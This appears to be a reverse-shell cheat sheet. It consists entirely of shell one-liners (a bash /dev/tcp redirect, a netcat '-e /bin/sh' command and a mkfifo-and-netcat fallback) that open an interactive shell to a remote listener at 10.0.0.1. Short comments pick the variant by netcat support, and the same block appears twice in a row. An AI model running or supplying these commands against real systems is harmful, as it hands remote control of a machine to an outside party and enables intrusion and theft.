bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
# if -e option is supported
nc -e /bin/sh 10.0.0.1 1234
# if -e is not supported
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
# if -e option is supported
nc -e /bin/sh 10.0.0.1 1234
# if -e is not supported
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f